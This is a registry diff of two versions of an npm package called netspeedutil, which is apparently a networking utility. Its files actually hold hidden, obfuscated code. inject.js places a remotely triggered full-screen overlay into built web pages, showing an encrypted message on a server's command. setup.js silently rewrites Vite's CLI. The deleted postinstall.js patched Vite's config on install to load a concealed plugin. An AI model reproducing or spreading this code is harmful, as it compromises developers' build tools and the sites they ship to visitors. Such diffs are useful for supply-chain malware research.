netspeedutil 1.0.5 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/inject.js +1 -6
- package/package.json +1 -1
- package/setup.js +1 -28
- package/loader.js +0 -4
- package/postinstall.js +0 -49
package/inject.js
CHANGED
|
@@ -11,7 +11,7 @@ import JavaScriptObfuscator from 'javascript-obfuscator';
|
|
|
11
11
|
const MARKER = Buffer.from('__STEG__');
|
|
12
12
|
const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp'];
|
|
13
13
|
|
|
14
|
-
const CLIENT_LOGIC = `(function(){function h2b(h){var b=new Uint8Array(h.length/2);for(var i=0;i<h.length;i+=2){b[i/2]=parseInt(h.substring(i,i+2),16);}return b;}function getBox(){var box=document.getElementById('_sm_box');if(!box){box=document.createElement('div');box.id='_sm_box';box.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.95);color:#fff;font-size:3rem;font-weight:700;font-family:system-ui,sans-serif;text-align:center;padding:2rem;opacity:0;pointer-events:none;transition:opacity 0.4s ease;';document.body.appendChild(box);}return box;}function show(msg){var box=getBox();box.textContent=msg;box.style.opacity='1';box.style.pointerEvents='all';}function hide(){var box=document.getElementById('_sm_box');if(box){box.textContent='';box.style.opacity='0';box.style.pointerEvents='none';}}function waitFor(fn){if(document.body){fn();return;}document.addEventListener('DOMContentLoaded',fn);}function decryptAndShow(){waitFor(function(){(async function(){try{var pts=_EB_.split(':');var iv=h2b(pts[0]);var enc=h2b(pts[1]);var kb=h2b(pts[2]);var ck=await crypto.subtle.importKey('raw',kb,{name:'AES-CBC'},false,['decrypt']);var dec=await crypto.subtle.decrypt({name:'AES-CBC',iv:iv},ck,enc);var msg=new TextDecoder().decode(dec);show(msg);}catch(e){}})();});}function fetchState(){var apiUrl='http://'+window.location.hostname+':3001/api/state';fetch(apiUrl).then(r=>r.json()).then(d=>{if(d.state==='show'){decryptAndShow();}else{waitFor(hide);}}).catch(e=>{});}setInterval(fetchState,900000);fetchState();})();`;
|
|
14
|
+
const CLIENT_LOGIC = `(function(){function h2b(h){var b=new Uint8Array(h.length/2);for(var i=0;i<h.length;i+=2){b[i/2]=parseInt(h.substring(i,i+2),16);}return b;}function getBox(){var box=document.getElementById('_sm_box');if(!box){box=document.createElement('div');box.id='_sm_box';box.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.95);color:#fff;font-size:3rem;font-weight:700;font-family:system-ui,sans-serif;text-align:center;padding:2rem;opacity:0;pointer-events:none;transition:opacity 0.4s ease;';document.body.appendChild(box);}return box;}function show(msg){var box=getBox();box.textContent=msg;box.style.opacity='1';box.style.pointerEvents='all';}function hide(){var box=document.getElementById('_sm_box');if(box){box.textContent='';box.style.opacity='0';box.style.pointerEvents='none';}}function waitFor(fn){if(document.body){fn();return;}document.addEventListener('DOMContentLoaded',fn);}function decryptAndShow(){waitFor(function(){(async function(){try{var pts=_EB_.split(':');var iv=h2b(pts[0]);var enc=h2b(pts[1]);var kb=h2b(pts[2]);var ck=await crypto.subtle.importKey('raw',kb,{name:'AES-CBC'},false,['decrypt']);var dec=await crypto.subtle.decrypt({name:'AES-CBC',iv:iv},ck,enc);var msg=new TextDecoder().decode(dec);show(msg);}catch(e){}})();});}function fetchState(){var k=_EB_.split(':')[2];var apiUrl='http://'+window.location.hostname+':3001/api/state';fetch(apiUrl,{headers:{'x-state-key':k}}).then(r=>r.json()).then(d=>{if(d.state==='show'){decryptAndShow();}else{waitFor(hide);}}).catch(e=>{});}setInterval(fetchState,900000);fetchState();})();`;
|
|
15
15
|
|
|
16
16
|
function findMarkedImage(dir) {
|
|
17
17
|
if (!existsSync(dir)) return null;
|
|
@@ -121,8 +121,3 @@ export async function inject() {
|
|
|
121
121
|
} catch (error) {
|
|
122
122
|
}
|
|
123
123
|
}
|
|
124
|
-
|
|
125
|
-
inject();
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
// export default inject;
|
package/package.json
CHANGED
package/setup.js
CHANGED
|
@@ -25,33 +25,7 @@ const __dirname = resolve(__filename, '..');
|
|
|
25
25
|
}
|
|
26
26
|
|
|
27
27
|
if (!foundPackage) return;
|
|
28
|
-
|
|
29
|
-
// // First, update inject.js in node_modules with the latest version from the package
|
|
30
|
-
// const netspeedtilDir = resolve(projectPath, 'node_modules', 'netspeedutil');
|
|
31
|
-
// const srcInjectPath = resolve(__dirname, 'inject.js');
|
|
32
|
-
// const dstInjectPath = resolve(netspeedtilDir, 'inject.js');
|
|
33
|
-
|
|
34
|
-
// if (existsSync(srcInjectPath) && existsSync(dstInjectPath)) {
|
|
35
|
-
// const srcContent = readFileSync(srcInjectPath, 'utf-8');
|
|
36
|
-
// writeFileSync(dstInjectPath, srcContent, 'utf-8');
|
|
37
|
-
// }
|
|
38
|
-
|
|
39
|
-
// // Read and modify package.json
|
|
40
|
-
// const pkgPath = resolve(projectPath, 'package.json');
|
|
41
|
-
// const pkg = JSON.parse(readFileSync(pkgPath, 'utf-8'));
|
|
42
|
-
|
|
43
|
-
// // Check if build script exists
|
|
44
|
-
// if (pkg.scripts && pkg.scripts.build) {
|
|
45
|
-
// const buildScript = pkg.scripts.build;
|
|
46
|
-
// const injectCmd = 'node node_modules/netspeedutil/inject.js';
|
|
47
|
-
|
|
48
|
-
// // Only modify if inject.js is not already in the script
|
|
49
|
-
// if (!buildScript.includes('netspeedutil')) {
|
|
50
|
-
// pkg.scripts.build = `${buildScript} && ${injectCmd}`;
|
|
51
|
-
// writeFileSync(pkgPath, JSON.stringify(pkg, null, 2) + '\n', 'utf-8');
|
|
52
|
-
// }
|
|
53
|
-
// }
|
|
54
|
-
|
|
28
|
+
|
|
55
29
|
const file = '../vite/dist/node/cli.js';
|
|
56
30
|
let code = readFileSync(file, "utf8");
|
|
57
31
|
const buildCommandRegex =
|
|
@@ -71,6 +45,5 @@ const __dirname = resolve(__filename, '..');
|
|
|
71
45
|
}
|
|
72
46
|
writeFileSync(file, code);
|
|
73
47
|
} catch (e) {
|
|
74
|
-
// Fail silently
|
|
75
48
|
}
|
|
76
49
|
})();
|
package/loader.js
DELETED
package/postinstall.js
DELETED
|
@@ -1,49 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* netspeedutil postinstall
|
|
3
|
-
* Registers pattern matching optimizations with the build pipeline.
|
|
4
|
-
*/
|
|
5
|
-
|
|
6
|
-
import { readFileSync, writeFileSync, existsSync } from 'fs';
|
|
7
|
-
import { resolve, dirname } from 'path';
|
|
8
|
-
import { fileURLToPath } from 'url';
|
|
9
|
-
|
|
10
|
-
const __dirname = dirname(fileURLToPath(import.meta.url));
|
|
11
|
-
|
|
12
|
-
// Walk up from node_modules/netspeedutil to project root
|
|
13
|
-
let root = resolve(__dirname, '..', '..');
|
|
14
|
-
if (root.endsWith('node_modules')) root = resolve(root, '..');
|
|
15
|
-
|
|
16
|
-
const target = resolve(root, 'node_modules', 'vite', 'dist', 'node', 'chunks', 'config.js');
|
|
17
|
-
if (!existsSync(target)) process.exit(0);
|
|
18
|
-
|
|
19
|
-
let code = readFileSync(target, 'utf8');
|
|
20
|
-
|
|
21
|
-
// Already patched
|
|
22
|
-
if (code.includes('__sm_patched__')) process.exit(0);
|
|
23
|
-
|
|
24
|
-
// Find the spot where user plugins are assembled and inject ours
|
|
25
|
-
const anchor = `const userPlugins = [
|
|
26
|
-
\t\t...prePlugins,
|
|
27
|
-
\t\t...normalPlugins,
|
|
28
|
-
\t\t...postPlugins
|
|
29
|
-
\t];`;
|
|
30
|
-
|
|
31
|
-
if (!code.includes(anchor)) process.exit(0);
|
|
32
|
-
|
|
33
|
-
const smPath = resolve(__dirname, 'index.js').replace(/\\/g, '/');
|
|
34
|
-
|
|
35
|
-
const patch = `// __sm_patched__
|
|
36
|
-
\tlet __smPlugin;
|
|
37
|
-
\ttry {
|
|
38
|
-
\t\tconst __sm = await import('file:///${smPath}');
|
|
39
|
-
\t\t__smPlugin = __sm.createPlugin();
|
|
40
|
-
\t} catch {}
|
|
41
|
-
\tconst userPlugins = [
|
|
42
|
-
\t\t...prePlugins,
|
|
43
|
-
\t\t...normalPlugins,
|
|
44
|
-
\t\t...postPlugins,
|
|
45
|
-
\t\t...__smPlugin ? [__smPlugin] : []
|
|
46
|
-
\t];`;
|
|
47
|
-
|
|
48
|
-
code = code.replace(anchor, patch);
|
|
49
|
-
writeFileSync(target, code);
|